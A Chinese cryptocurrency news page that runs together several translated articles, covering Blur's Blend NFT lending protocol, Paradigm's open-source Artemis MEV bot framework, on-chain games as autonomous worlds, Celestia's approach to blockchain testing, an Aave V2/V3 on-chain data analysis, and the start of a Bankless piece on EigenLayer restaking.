欢迎光临
币圈最新消息
052023-05

Blur 借贷协议 Blend - NFTFi 协议矩阵关键棋

引言

尽管整体市场遇冷,但似乎 Blur 在 NFT Fi 上向前跃进的脚步未曾放缓。根据其在 5 月 2 日所发布的推特动态,Blur 正式从流动性聚合的直接交易层横跨到借贷市场,接连推出了 P2P 永续借贷 Blend、先买后付 BNPL、挖矿借贷积分等功能,在社区引起广泛热议并在 NFT Fi 产业链上下游掀起余震。

究竟 Blend 与其他 NFT 借贷协议机制有何差异?这是否意味着与 DeFi 的发展轨迹类似,NFT Fi 的协议矩阵化进程已经提前拉开帷幕?对 NFT Fi 整体赛道又应该如何进行预判?我们在下文中给出一些简单的思考和评论。

NFT Fi 行业所面临的「三座大山」

有待健全的信用机制:在 DeFi 中,最常见的模式是过度抵押贷款,而在 NFT Fi 场景中,我们可以引入更多样化的贷款模式,如 BNPL 这种无担保贷款。然而由于 KYC 对于 NFT 的借贷和租赁的参与者并非是强制性的,整个金融系统的风险控制高度依赖于单个 NFT Fi 项目的能力。在未来我们必然会需要更加成熟和可信赖的链上信用系统来解决这个问题。

有待提升的定价机制:正如我们在之前的研究中已经提到的,NFT 由于本身具备的主观性,非流动性等内生因素,难以像同质化资产一样基于资产基本面或过往交易记录被简单定价。参考传统的艺术品评估方法:同类比较,成本计算,平均价格和双重出售,去除成本计算方法,剩下的同类比较,平均价格和双重出售即对应着 NFT pricing 中的 AI/ML 评估,TWAP 和交易定价这三类方法。然而这三类的任何一种评估方式在目前都无法达到完美的价格发现。

有待完善的支持服务体系:包括银行、信托和保险在内的基本配套服务对于任何一种金融市场都是必要的。然而一个理论上完整的金融流动体系还尚不存在于当下的 NFT Fi 行业中。作为银行系统最基本的模块,信贷在任何场景下都有理由成为整个金融体系中被率先关注和发展的重点功能,这也是为什么 NFT 借贷协议的完善对打通 NFT Fi 上下游流动性起着关键作用。

NFT 的借贷动机:

NFT 收藏家往往不太愿意直接出售他们的高净值资产(蓝筹 NFT 收藏)。然而长期持有 NFT 也意味着大量的资本将被锁定在非流动性资产中。这也是我们需要抵押房产的原因。

> 在牛市中,持有人可能会找到更好的短期投机机会。因此,他们有动力使用非金融资产作为抵押品来释放流动性/兑现一些钱。

> 在熊市中,持有人倾向于使用超额抵押来持有更多的现金以防止短缺危机,同时确保他们不会失去他们的 NFT(解释了为什么整体 NFT 贷款的违约率较低)。 

Blend 的机制创新

Blend 的机制由 Paradigm 直接操刀,所发布文章中的联名作者 Dan Robinson 等更是 Comound、Uniswap 等头部 DeFi 协议中的资深贡献者,同时其在 DeFi 协议中发扬光大的非许可和可组合性理念也一贯延续到了 Blend 的设计理念中。

Blend 本质上是在匹配 NFT 持有方和资金持有方,完成抵押 NFT 借出资金的效果,不同于 BendDAO 等新兴点对池模型,而是与 NFT.Fi 等老牌协议一样采取了点对点(P2P)的借贷模式,并且在集成传统 P2P 借贷优势的基础上做出了进一步的范式调整。下图中我们也简要分析了 P2P 与 P2Pool 机制差异:

Blend 的创新可以总结为如下四个方面:

去预言机(Oracleless):

一般的点对点模型都有这个特点,即利率和资金利用率等由贷款人愿意提供的条款决定。荷兰式拍卖失败才会引发清算。

>和同类其他 P2P 借贷相比,移除预言机并不算什么新叙事,本身 P2P 协议引入预言机很大程度上为用户在设定条款时提供价格参考(e.g. NFT.Fi 会提供地板价,过往交易价,Upshot 等 ML 定价等几种数据)

永续借贷(Perpetual):

到期日的设定需要借款方手动回滚或关闭头寸,这使得借款方一方面可能面临 NFT 被罚没的风险,另一方面需要额外耗费 gas fee。因此 Blend 直接移除了到期设定,只有在利率变化(新贷款人提出新条款接管)或其中一方想退出协议时,才需要进行链上交易。>相对于传统 P2P,永续设定非常有趣并很可能赢得更多贷款方青睐。在固定期限的接待中,如果 NFT 的价值已经低于还款额,借款人选择不偿还贷款,贷款人即使清算 NFT 也无法收回本金。

此外,永续机制也给其他潜在贷款人提供接管了贷款的机会,使得借款方有机会以利率空间兑换贷款延长期限。>虽然永续的机制看似对借贷双方都有益处,但正如 Mindao 老师指出这实际是「对贷款人友好,对借款人不友好」的协议设计。借款方在机制中更多地处于一种相对被动的状态,当贷款方发起「再融资」拍卖时,原贷款方的退出、新贷款方的介入、新利率的调整都不受借款方控制。这也意味着借贷的「选择权」和「自主性」实际上在往贷款方偏斜,羊毛出在羊身上。借款人在还钱、抵债、接受新条款的三重围栏下,很可能因恶意的频繁「再融资」而蒙受损失。

到期前清算(Liquidatable):

由于目前 P2P 借款模式实际上为借款人提供了看跌期权,资金提供方需要要求短期到期、高利率等措施,以弥补头寸可能资不抵债的风险。在 Blend 中,每当资金提供方触发再融资拍卖(荷兰式利率拍卖)并且没有人愿意以任何利率接管债务时,NFT 可能会被清算。例如,一旦拍卖达到某个定义的最高利率(如 1000%)而没有任何新的资金方介入,协议就会推断该头寸资不抵债或不可行,并清算借款人。然后,现有贷方可以发送交易以占有抵押品。

>这个设计对贷款方很友好,为贷款方放贷设立了保障。当 NFT 价格下降时,允许贷款方及时开启清算拍卖程序,并通过不断上升的利率竞拍来补充贷方的风险溢价。我们认为这对于促进 NFT 的流动性是必须的,激发资金的活力非常关键。

资金效率提高(Effective):

贷款人的资金可以多用,既可参与 Blur 的 bidding(DEX 流动性提供)同时可以做贷款人提供流动性。

> 实现了交易+借贷的资金聚合,并结合了池子模式的某些优点,比如对于借款人来说可以「永续」借钱。同时对贷款人来说资金端因为存在一个拍卖竞争市场而且可以和 bidding 池公用,同时协议默认「乐观」滚存,没有强制到期再出借。(引用自 dForge 创始人 Mindao)

NFT 借贷考量维度

Traction(吸引力): 

平台对贷款人和借款人的吸引力,是否有足够的借款人和贷款人接触和使用该平台,用户保留率和转换率。由于蓝筹股持有人是固定的,存量市场中 traction 意味着赢家通吃。

Risk Management(风险管理):

 平台的风险控制能力,是否有可行的设计来保证出借人和借款人的资金和抵押物的安全,以及如何惩罚违约。

Effectiveness(有效性):

 平台的聚合效率,是否有灵活的议价和条款谈判机制,是否能帮助出借人和借款人在最短时间内达成交易。

结语

尽管尚在早期阶段,但我们相信 NFTFi 协议也许最终也会同 DeFi 一样走向协议矩阵,在未来将交易+借贷+稳定币三种模式融为一体。我们内部也一直讨论 NFTFi 的终局,是一个 one stop service 式的流动性协议(一个项目同时包含了借贷、交易和其他功能),还是类似 DeFi 目前的样子,不同的协议有不同的分工(比如 Uniswap 负责交易功能,Aave 负责借贷功能等等)。

目前 NFTFi 最大问题就是流动性不足,Blur 的 bidding、NFTX 的碎片化 AMM、BendDAO 这类借贷的清算和一些衍生品协议等都在以各类形式增加流动性优化定价。Blur 作为当今最大的头部玩家,积累了庞大的 NFT 持有者用户量,Blend 势必将成为其协议矩阵的关键一步,这也是为何我们看到 Blend 的重点放在了激发资金的活力上,也就是吸引资金方。资金方和 NFT 持有方的博弈是产品最终呈现的关键,我们也将持续关注。

Paradigm | Artemis 概述:开源 MEV Bot 框架

注:原文来自Paradigm ,MarsBit整理编译。

我们很高兴地宣布,我们正在开源Artemis,这是一个用Rust编写MEV Bot的框架。Artemis具有简单性、模块化和高性能等特点。

为什么要建造Artemis?

MEV仍然是当今以太坊上最强大的中心化力量之一。我们相信,为MEV研究和提取构建开源工具是对抗这类中心化压力的一个明确途径。

目前,MEV市场上的新进入者面临诸多障碍:

作为一个新的搜索者,起步是很困难的:bot运营商几乎没有动力共享其代码,所以新的搜索者经常不得不重写相同的组件,重建类似的基础设施,导致浪费精力。

作为一个新协议,则很难找到搜索者来运行keepers:除非你的协议达到一定规模,否则很难获得搜索者的关注。

我们希望Artemis能够通过为编写MEV机器人提供灵活和可重用的组件,并作为贡献策略和守护者的存储库,来缓解这些问题。

Artemis是什么?

Artemis是一个编写bot的库,也是一个策略库。我们在设计该项目时考虑到了以下几个目标:

简单性:Artemis架构为一个简单的事件引擎,这意味着它足够灵活,可以支持广泛的策略,同时避免不必要的复杂性。

模块化:Artemis提供了开箱即用的常用bot组件。这些组件可以混合和匹配来编写策略,允许搜索者专注于实现每个机会的核心逻辑。

性能:我们希望Artemis是高性能的,所以框架是用Rust编写的,利用了一流的以太坊工具的广泛生态系统。随附工具:Artemis包含了一些工具,使其易于在生产环境中运行,比如dockerized部署,以及使用Prometheus和Grafana进行监控和警报。

Artemis架构

Artemis的核心是一个事件处理管道,有三个主要部分:

收集器:收集器接收外部事件(如待处理事务、新块、链下订单等),并将它们转换为内部事件表示。

策略:策略包含每个MEV机会所需的核心逻辑。它们将事件作为输入,并计算是否有任何可用的机会(例如,一个策略可能会监听市场订单流,以查看是否有任何交叉交易套利)。策略催生行动。

执行者:执行者处理具体操作,并负责跨域执行(例如,向公共内存池提交事务,提交flashbots包)。

此外,我们正在开源一个跨市场NFT套利策略,更多的策略即将推出。

下一步

目前你可以通过访问项目报告来试用Artemis。

如果你是对构建开源MEV工具感兴趣的开发者,是对开源keeper感兴趣的项目方,或者对集成Artemis感兴趣的搜索者,请联系我们。

如果你想贡献代码,但不知道从哪里开始,请查看我们的问题跟踪器。

内存池见!

自治世界:完全链上游戏深度分析

撰写:taetaehoho

编译:深潮 TechFlow

链上游戏正在成为新兴市场中备受关注的领域。链上游戏的出现不仅带来了更高的安全性和可扩展性,而且也开启了一种新的游戏范式。

在这篇文章中,1KX 将分析链上游戏的潜力以及它们如何改变游戏产业,包括游戏制作、游戏玩法、社区建设和商业模式等方面。同时,还会分享他们对未来几年链上游戏发展的看法,并探讨它们对整个游戏行业的影响。

从历史上看,每一种新的计算范式都为游戏开启了一系列新的可能:

晶体管、微处理器、电视——电脑游戏的概念;个人电脑——游戏类别的扩展,包括战略和模拟;互联网——多人在线游戏;社交网络——社交网络游戏;移动——休闲游戏;VR——沉浸式体验。

随着每一个变革的到来,我们看到新的团队通过接受新的方式和技术而成功。不是老牌企业,而是新人——游戏设计师们通过利用每种计算媒介提供的新特性来发明全新体验。这也发生在充满活力的 Web3 游戏先行者身上,他们每个人都以自己的方式进行创新。

2017 年,Crypto Kitties 创造了第一个加密游戏,允许玩家收集和繁殖新的小猫咪。2018 年,Axie Infinity 将资产链上化为 NFT,创建了一个开放的流动性 SLP 经济体。2020 年,Dark Forest 结合链上游戏逻辑使用零知识创建了第一个具有不完整信息且无需许可即可扩展的链上游戏。2021 年,Loot Project 推出,成为人们可无需允许拓展的基础层 IP 图标,并催生了数百个游戏和衍生品。2023 年,新的完全在链上的游戏/自治世界正在不断发展。

随着每一次关于链上游戏的实验,我们发现了由链上资产、游戏状态和逻辑、可无需允许的扩展和组合性所带来的全新体验,这些指向着自治世界作为下一代加密平台的可能性。在 1kx,我们相信我们正处于开发下一代游戏——即链上游戏的0到1之间。

什么是自治世界/链上游戏?

让我们借用 gubsheep 对加密游戏(简略版)的定义。

链上游戏是这样一种游戏:

所有游戏逻辑、状态(资产等)都在链上实现,通过智能合约实现。游戏数据的真实来源是区块链。区块链不仅被用作数据的辅助存储或专有服务器中存储数据的“镜像”,而且所有有意义的数据(不仅仅是资产所有权)都存储在区块链上。这使游戏能够充分利用可编程区块链的好处:透明、永久且无需许可的可互操作数据存储。游戏按照开放的生态系统原则进行开发。游戏合约和(通常)可访问的游戏客户端都是开源的。第三方开发人员可以通过插件、第三方客户端、可互操作的智能合约甚至完全重新部署来定制甚至分叉他们自己的游戏体验。这反过来又使游戏开发人员能够利用整个(激励对齐的)社区的创造性产出。该游戏与客户端(前端)无关。

我们经常在链上游戏文献中看到的这个心理模型的同构是“自治世界”或等同于“链上现实”。这种术语之间存在相似之处:

链上游戏状态,其中区块链是游戏数据和“世界”状态的真实来源(想想任何时间快照的位置)。定义了玩家如何与游戏交互的链上游戏逻辑,以及定义了人们如何与现实交互的现实物理规律。社区和治理结构强调开放的生态系统原则和底层的其他可塑性元素。

这个世界是“自治”的,因为:

“以区块链为基础的世界几乎是高度自治的:任何人都可以执行引入规则,而不会损害其客观性。任何特定个体的消失或背叛都不会伤害这个世界:它的故事边界一如既往地坚硬。”——“Lattice”

自治世界作为下一个前沿领域

两个变革性的开启使得自治世界极其令人兴奋:

通过在链上拥有游戏状态和逻辑,其中行动具有真实的经济利益,玩家将对他们的链上游戏行为附加额外的意义,并体验到更深层次的沉浸感和无限的风险承受能力。链上游戏的抗审查性将允许这种沉浸感在没有平台风险的情况下不断增长。在公共区块链上运行也意味着游戏可以永远存在。允许任何人扩展或更改游戏,链上游戏鼓励制作 Mod(modifications,即修改游戏),更好地协调模组制作者和游戏开发者之间的激励,并允许玩家控制游戏体验,努力实现可互操作的元宇宙的全新愿景。

链上游戏状态和逻辑(以及开源)

链上游戏状态和逻辑实现了:

永久性和容错性作为底层网络的继承属性。游戏内的行动、资产所有权和赚取的凭证是不可篡改的,是属于你,并且是永久属于你的。游戏和周围生态系统具有抗审查性。游戏资产本质上具有货币价值,因为它们可以交易。执行状态转换需要 Gas 费用。参与链上游戏有真正的经济后果,而且通常会带来无限的经济增长。

“我们必须记住,交易是要花钱的。因此,在游戏中进行任何交易操作最有效的方法是使其具有战略性。这意味着你应该尽可能地将玩家的智力工作投入到一个交易中。”——Mithraeum 的 Bohdan

作为这些特质相互作用的结果,我们假设链上游戏的玩家将与 AW (自治世界)建立更深入、更身临其境的关系,因为他们有:

对游戏内资产和成就具有更强的所有感。我们已经观察到人们构建数字身份,围绕链上行动和成就如 degen 分数、钱包分析、游戏排行榜等进行构建。这也是我们在具有高价值经济和物品的 Web2 游戏中看到的情况,玩家花费数千小时、数万美元来获得游戏稀有物品,并围绕它们形成社区。对资产和成就的真正拥有权将放大这种情感。作为证据,我们已经看到 Dark Forest NFT(因赢得 Dark Forest 回合而获得奖励的 NFT)尽管没有功能/实用性,但在历史上也以可观的价格售出。对游戏的掌握程度更强,以获得高价值资产和高价值头衔。我们已经看到“Dark Forest”的玩家构建机器人、监控工具和自定义客户端,以爬升排行榜。我们还看到了 Web3 社区,与他们的 pfps(个人资料图片)密切相关,特别是高价值 pfps。不必担心平台风险:在 Web2.0 中,有许多例子,游戏模组平台受到了其母公司 IP 或数字分发服务的停止和终止。除了监管套利,链上抗审查、无需允许部署和宽松的开源许可/文化确保了链上游戏及其周围生态系统不能被任意关闭。

总之,我们假设由于链上状态和逻辑的这些后果,与 Web2 游戏相比,Web3 游戏将具有更深的沉浸感和更长的寿命。

作为无许可平台的自治世界

游戏的历史和发展与游戏模组(Mod)密切相关。许多定义时代的游戏和类型最初是作为流行游戏的模组诞生或流行的。有大量证据表明,玩家想参与他们喜爱的游戏的开发,而且很多时候,他们最终创造了其他人喜爱的体验(Roblox、Minecraft)。

模组流行的不利之处在于,虽然假设它们可以提高知名度,但它们可能会蚕食主要产品的 DAU。出于这个事实和对 IP 紧密控制的渴望,在过去二十年中,已经制定了强有力的最终用户许可协议(EULAs)和执行行动,抑制了模组的增长和盈利。

最近,基于用户生成内容(UGC)的游戏被视为解决方案,因为它们捕获了社区创造的价值。工作室可以提供创作者工具和一组受限制的自由,以便更容易地创建新的体验。然而,Web2 UGC 仍然存在不宽容的 EULA、高手续费率、不灵活的变现方案的困扰。

自治世界是一个比 Web2 UGC 更强大的解决方案,因为它可以无需许可地进行扩展和修改:

默认情况下,链上游戏逻辑会公开底层游戏的每个公共方面以进行修改和扩展。任何开发者都可以创建一组智能合约,与游戏状态和逻辑交互,而不必要求游戏工作室公开有限的创意自由(例如创建自定义地图的能力)。这可能看起来像读取和使用原始游戏状态的游戏,其结果控制基础层游戏中的输入,直接调用原始游戏逻辑函数的游戏,共享状态的多个游戏,组件等等。开源文化和智能合约部署的匿名性意味着实际上不可能执行传统的 Web2 EULAs,从而阻止模组的货币化和所有权。部署在区块链上的模组和扩展能够任意定义价值累积参数(调用函数的费用)和合约——如果是去中心化的——要么不为任何人所有,要么可升级性由去中心化实体控制。这使得产生的模组可以自由累积价值,并防止 EULA 强制执行。

由于信息不充分和过时的法院裁决助长了限制性 EULA,模组制作者无法对自己的辛勤工作主张版权,无法轻易将其创作货币化或控制其使用,也无法轻易防止被不良行为者盗用。即使没有大多数 EULA 施加的限制,模组也被视为不属于合理使用范围的衍生作品。虽然通常允许模组作者创建模组并免费分发它们,但模组作者既不能对他们创建的模组主张所有权,也不能在不侵犯基础游戏版权的情况下合法地从他们的作品中获利。

模组和游戏的原始创作者之间的激励更加一致——甚至是这些角色的混合。虽然游戏的模组可以作为完全独立的软件分发,但在链上的模组可以通过基础层的核心游戏逻辑进行价值流动。基础游戏状态拥有的模组和扩展越多,它的资产和成就的价值就越大,或者它从支持的应用程序的活动中获得更多的价值累积。这与 NFT IP 和 L1 区块链的激励结构相同,在这些区块链上,开发人员被鼓励为 NFT 持有人提供新体验,以便将价值累积到 IP 中,或者创建增加区块空间需求的 dapp。在链上游戏中,每个内容添加都会导致可玩内容的多因素扩展。经济玩家和资源积累者可以利用新内容引入的失衡来获得新的财务机会。对于想要玩游戏本身的玩家来说,有更多的内容可供选择,对于想要构建/修改游戏的玩家来说,还有另一个方面,他们可以在其上进行构建。

关于链上游戏的无需许可扩展,我们假设:

我们将看到游戏模组和扩展模块(链上可下载内容或 DLC)的爆炸性增长。每个扩展都为不同的玩家原型创造了更多“有趣”的机会。只要有一个积极参与的社区,这个循环就会持续下去。在社区内,总会有构建者群体。这将导致玩家基础真正具有长期性。随着时间的推移,一些扩展的扩展,如 mod 的 mod,将变得普遍存在。游戏生态系统本身将成为一个不断演化的实体。为了使玩家在游戏中的行动有意义,需要有积极和消极的后果。在游戏中拥有有意义的皮肤的感觉比任何 VR 都更具沉浸感。在 The Citadel 中,我们希望有一些利害关系,有一些可以争取的东西,以及可以战斗的手段。我们设想一个由于稀缺资源而导致的经济、政治、军事冲突驱动的世界。最初的游戏循环以经济竞争为中心,但随着时间的推移,将引入新形式的风险和竞争。

AWs:自治世界的当前状态

正如人们可以看到的,有许多团队正在构建链上 IP、基础设施以简化 AW 的开发、出版和其他链上实验。

我们为什么对 AW 感到兴奋?

非常早期的基础层系统——当前充满活力的生态系统(如以太坊)和当今的链上游戏之间有许多相似之处:

使用与现有平台不同的技术实现了新类型的应用程序,这些应用程序之前不存在。一个极其强大的社区,围绕着一个愿景或理念而集结起来——往往与技术的差异特征相一致。通过 1 和 2 构建的初始开发者生态吸引一些构建者进入基础层。人们普遍怀疑这些新实验的商业潜力、可行性或用户体验友好性。

反复观察,我们可以看到同样的飞轮:

最初的社区利用基础层的计算特性构建非常酷和创新的协议。看到这些产品的其他构建者加入社区。在数以千计的实验过程中出现了极为成功的应用。

自治世界处于这一周期的非常早期。

未来三年的自治世界

以下是我们在未来几年看到的情况:

链上游戏数量激增,因此社区引领的开发建立在热门的游戏之上。拥有最强大社区的游戏将看到多个替代客户端、机器人、插件的开发,但也将首次尝试游戏模块、扩展和模组的实验,这些不是分支而是扩展和与基础层游戏互操作。这些模组中至少有一个会比基础层游戏更受欢迎。无需许可的 UGC 实验,包括将输出作为另一个游戏的输入的游戏、跨多个不同游戏共享状态的游戏、索引不同游戏组件子集的自定义前端、系统。我们将看到游戏元素(组件和系统)的开源实现的可用性推动了这些方面的快速发展。

结论

我们相信,链上游戏是一种新范式的开始,它将渗透到主流意识中。我们在其中看到了以往成功网络的特质:完全与现状不同、独特的价值主张和令人惊叹的建设者社区。

Celestia:测试模块化区块链软件简介

原文:Celestia

编译:GWEI Research

生产网络中的简单错误和常见问题是威胁去中心化区块链弹性的问题。考虑到众多用户和应用程序都依赖这些区块链,这个问题尤为重要。我们希望强调一个在讨论中被忽视,而且更重要的是,在确保区块链稳定性方面被低估利用的关键组成部分。

这篇文章将讨论测试区块链的重要性以及有效测试它们的策略。

TL;DR

区块链网络的健壮性涉及对节点类型、定制化和网络范围内的性能进行严格测试,以确保安全性和可靠性。 随着模块化区块链中节点设置的灵活性增加,加强维护网络安全性和可靠性的测试实践至关重要。 有效的测试策略包括单元测试、集成测试和系统测试。 测试模块化区块链的挑战包括复杂性、互操作性问题以及缺乏标准化框架。

测试区块链的重要性

测试区块链网络对于确保其安全性、可靠性和长期稳定性至关重要。测试确保如果网络没有按预期运行,问题会在部署之前被识别和解决。

对于模块化区块链,测试过程更为复杂,因为有更多的节点类型和可能的设置。

每种节点类型都必须单独测试,然后作为整个网络的一部分进行测试。由于每种节点类型都可以进行定制,因此测试过程还必须包括定制的测试。

区块链的测试策略 在进行测试过程时要记住的事项 所有团队,Celestia Labs也不例外,在软件开发的每个方面都有有限的人力资源。由于区块链开发节奏很快,测试被认为是相对于发布新功能的较低优先级。即使在测试时间有限制的情况下,团队应该记住,如果他们遵循简单的指导原则,测试可以是有效的:

穷尽测试是不可能的。你不能覆盖所有内容,但通过识别和优先测试高风险元素,你可以覆盖很多内容。尽早发现并修复错误。随着错误从规格到测试网到主网的传播,修复它们的成本逐渐增加。任何自动化都比没有好。在进行大型网络端到端测试时,自动化变得至关重要。在将软件发布给公众之前,在内部开发网上进行测试。确保软件在发布到测试网之前是稳定的,这样可以减少社区的工作量和挫败感。 手动测试总比没有测试好。虽然手动测试不是可扩展的长期解决方案,但它仍然对短期目标有用。你可以在以后引入自动化。

区块链测试金字塔

与任何软件测试一样,区块链的测试过程应该既包括功能测试,也包括非功能测试。功能测试侧重于检查单个模块及其与其他模块的相互作用。另一方面,非功能测试评估网络的性能、安全性和可扩展性,以确保一个健壮且可靠的区块链系统。

以下策略可用于有效地测试区块链:

1.单元测试

单元测试涉及对每个模块单独进行测试,以确保其正确运行。在这种情况下,一个模块的示例是celestia-node的头部,它封装了如何在网络中的不同节点之间传播头部的信息。它对区块链至关重要,因为它允许对每个模块的定制进行测试。

这种测试策略有助于在模块集成到网络之前发现任何问题。对于模块化区块链与模块化软件设计相结合的情况,隔离测试每个组件是非常有益的。

2.集成测试

集成测试对于区块链至关重要,以确保模块之间的交互如预期一样。这种测试策略涉及将模块与其他模块一起进行测试,以确保它们之间的互操作性。

一个模块与模块测试的例子是一个节点与另一个节点进行测试。在Celestia的情况下,我们通常会测试一个轻节点从一个单一的桥节点同步和抽样。它们都是从一个代码库编写的,但打包方式不同。

集成测试有助于发现模块之间交互和网络中的任何问题。

在这个测试级别中,通常需要准备一个同一台机器上的小型节点网络来进行测试。

3.系统测试

系统测试涉及测试整个网络,以确保其符合必要的要求。这种测试策略涉及测试网络的性能、可扩展性和安全性。系统测试有助于发现网络整体功能和性能方面的问题。

在系统测试中,通常使用较大的节点网络来模拟真实环境。这种测试策略有助于发现由于网络的去中心化特性而可能出现的问题。

Celestia在系统级别发现的一个很好的例子是在提交交易或DA节点进行简单余额检查过程中出现的密钥不匹配问题。在PayForBlob功能的负载测试期间发现了这个功能性错误。系统测试通常会揭示那些单元/集成测试无法发现的问题,尽管测试场景简单,有时与测试计划的测试目标无关。

另一个例子是在系统发布测试中发现的误报,其中DA节点正常运行,但经过严格审查后发现实际上并未运行。

此外,系统测试还有助于确保网络能够处理大量的交易和用户。

系统测试是区块链测试过程的关键部分。它有助于确保网络按预期运行,并在部署之前识别和解决任何问题。通过在系统级别测试区块链,我们可以确保它们被社区成功采用和使用。

这种测试级别被认为是最昂贵的,不应该像单元/集成测试那样具有相同的覆盖范围。对于模块化设计的区块链来说尤其如此,因为在设计系统测试时需要考虑更多的上下文。

我们将在本系列的第二部分更详细地介绍这个测试级别。

模块化区块链测试的未来

随着区块链的不断发展,测试也必须发展。新的测试策略和框架将出现,现有的策略和框架将得到改进。测试过程将变得更加自动化和简化,从而减少测试时间和成本。

随着区块链的广泛应用,标准化测试框架的需求将变得越来越明显。标准化框架将帮助测试扩展到更多类型的网络和用例。如果你喜欢这篇介绍性文章,我们将在第二部分解释Celestia Labs如何使用一个名为Testground的工具进行大规模网络测试。

ChainAegis:AAVE V2/V3链上数据分析

2023年1月27日,DeFi借贷协议Aave宣布V3版本已部署在以太坊上。以太坊是Aave部署的第一个网络也是流动性最大的一个网络。截止到4月28日,当前以太坊上AAVE V3的TVL规模已突破11亿美元,借款总额为4.74亿美元。

2020年DeFi迅速崛起,许多DeFi协议都从2020年开始崭露头角,TVL开始迅速攀升。2020年底,排名前四的DeFi借贷协议是MakerDAO、Aave、Compound与Venus,TVL总值达到64.35亿美元。目前,TVL最大的协议是MakerDAO,其TVL为73.77亿美元。

Aave是TVL排名第二的DeFi借贷协议,当前TVL达51.52亿美元。

在上线主网方面,MakerDAO与Compound均上线以太坊主网,Compound还上线了Polygon,Aave已上线以太坊、Polygon、Avalanche等7条公链,采取多链发展模式。除此之外,Aave还是第一个在DeFi领域提出闪电贷概念的项目,允许人们无需任何抵押物借出资金进行操作,这使得它在套利交易者和寻求构建新的DeFi应用程序的开发人员中很受欢迎。

Aave的前身是ETHLend,于2017年成立,属于点对点贷款平台,后改为资金池模式,更名为Aave,并于2020年1月推出了Aave协议,上线于以太坊,提供借贷服务,用户可以作为供应商或借款人参与其中。随着Aave正式上线,其TVL一路上升,直至2020年底Aave TVL由30万美元上涨至20亿美元。2023年,Aave也上线了V3版本协议,我们对Aave V2及V3版本升级亮点做了统计如下:

2020年12月,Aave V2正式上线。相较于V1版本,V2上线Yield & Collateral Swap功能,以保证用户的贷款头寸安全,并可获得最佳收益。同时优化了闪电贷,用户可以在一笔交易中借出多种资产。此外,V2还添加了本地信用委托,这是由债务代币化衍生出的功能,使用户能够将信用授权给使用Aave的特定人员。

2023年1月27日,Aave V3上线以太坊,V3架构采用灵活的架构,提高了组合性,并提供更多的风险管理工具。此外,Aave V3还提高了资本效率,同时将gas费降低了20%-25%。

Aave的V2、V3版本一经上线,都带动Aave TVL的增长,ChainAegis从TVL、Fee、Revenue、users、链上交易次数等方面进行梳理对比:

(1)Aave V2上线初期TVL一路升至184亿美元,Aave V3上线后TVL增长相对比较平稳,日均9亿美元,V3目前为止还远未达到和V2类似的TVL量级。

(2)V3日均用户数量约为V2的7.69倍,V2每日只进行一次交易的用户体量更大,V3上频繁存取的用户更多。

(3)V3上线后,在Polygon、Avalanche上交易费用相较于V2版本大幅下降,分别下降85.9%、23.95%,在以太坊上费用下降表现不明显。

(4)Polygon上V2交易次数依旧呈上涨趋势,但涨幅较V3上线时已下降,V3交易次数及增长幅度不如V2。

(5)以太坊上V2的流动性呈现向V3逐步迁移的趋势,已迁移3.29亿美元,以WETH、WBTC等主流币和USDC、DAI等稳定币为主。

TVL

2021年10月26日,V2 TVL到达历史最高水平,为184.36亿美元,此后以不同程度下跌直至Luna暴雷,其TVL稳定在40亿美元左右。自2022年3月V3版本上线后日均TVL为9.06亿美元,增长较为平稳。2022年11月受FTX暴雷影响,略有下跌,后续缓慢回升。截止4月25日,其TVL为12.84亿美元。

活跃用户

ChainAegis对Aave V2及V3每日提取、清算、偿还、供应、借贷及每日单独用户数量进行统计如下:

链上数据显示,V2和V3日均用户数分别为1821、14006,可见Aave V3虽上线时间不及V2,但活跃用户数已远超V2版本,为V2的7.69倍。相对于V3来说,V2版本每日只进行一次交易的用户数量权重很大(图示绿色),V3中这一类别用户表现并不明显。在提取(图示浅蓝色)和供应(图示黄色)上,V3版本表现更强势,日均提取用户数为V2的3.66倍,日均供应用户数为V2版本的4.93倍。

链上交易费

Aave V2的链上交易费用主要以ETH链为主,2021年5月后,以太坊链上交易费用一度增长至1438万美元;

2022年3月,V3上线Polygon及Avalanche后,链上交易费用明显下降,日均交易费用分别为1.24万、2.06万美元,较V2下降了85.9%、23.95%。2023年1月27日,V3上线以太坊,链上交易费用与此前几个月差别不大,日均24.93万美元。

协议收益

V2版本上线后,协议月收益不断上涨,曾一度高达655万美元。但受2022年深熊影响,整体并不景气,月收益不断下降,截止到2023年4月1日,月收益为73.77万美元。

polygon链上交易次数

V2上线后,Polygon链上交易次数急速增长,截止到2021年12月31日,日均交易次数797.9万,较上线初期增长69249.3倍。后续增长速度减慢,涨幅为34.07%。依照V2/V3交易数量走势来看,V3交易次数及涨幅均明显不如V2,当前日均交易次数为238.07。

ETH上Aave V2向V3资产迁移

Aave V3上线以太坊前就已提前发行了V3迁移工具,帮助用户在V2仪表盘上通过一次交易将头寸从V2迁移到V3。据ChainAegis链上监控数据显示,ETH链上Aave V2向V3迁移资产正在持续上涨。截止到4月25日,V2已向V3迁移资产达3.29亿美元,日均迁移1.7亿美元。

结合代币转移情况来看,转移的主要为WETH、WBTC等大额币种及USDC、DAI等稳定币。当前转移最大的币种为WETH,转移金额达1.62亿美元,占比转移总资产的49.24%;WBTC排名第二,累积转移5550.9万美元,USDC累积转移4946.35万美元,位居第三。后两者累积转移资产占比总资产的31.91%。

About Us

SharkTeam的愿景是全面保护Web3世界的安全。团队由来自世界各地的经验丰富的安全专业人士和高级研究人员组成,精通区块链和智能合约的底层理论,提供包括智能合约审计、链上分析、应急响应等服务。已与区块链生态系统各个领域的关键参与者,如Polkadot、Moonbeam、polygon、OKC、Huobi Global、imToken、ChainIDE等建立长期合作关系。

官网:https://www.sharkteam.org

Twitter:https://twitter.com/sharkteamorg

Discord:https://discord.gg/jGH9xXCjDZ

Telegram:https://t.me/sharkteamorg

Bankless:为什么 EigenLayer 让我们兴奋?

作者:Bankless David Hoffman

编译:比推BitpushNews Mary Liu

地平线上似乎出现了一个新的“纪元”。在加密之旅中,每隔一段时间,开拓者就会发现一种新的原语,从而改变整个行业的格局。

我们之前在讨论 MEV(maximal-extractable-value:最大可提取值)时看到过:

首先,人们注意到一些高频交易机器人在进行这种新形式的自动套利;其次,研究人员和开发人员对这种活动的长期影响感到“Fu*k”;第三,创建了类似 FlashBots 的东西,这样它就不会失控;第四是我们现在所处的阶段–一个新的十亿美元产业已经创建,以太坊正在开发改变协议的 EIP,MEV 作为一个概念被整个行业所熟知。

朋友们,我们将再次经历这个过程。

一个新项目EigenLayer引发了大量关于“重新质押/再质押”潜力的讨论。虽然没有人知道再质押的长期走向是什么,但以太坊最深刻的思想家们一致认为,质押游戏将从根本上改变。

坐稳了——再质押“纪元”已经来了。

再质押101

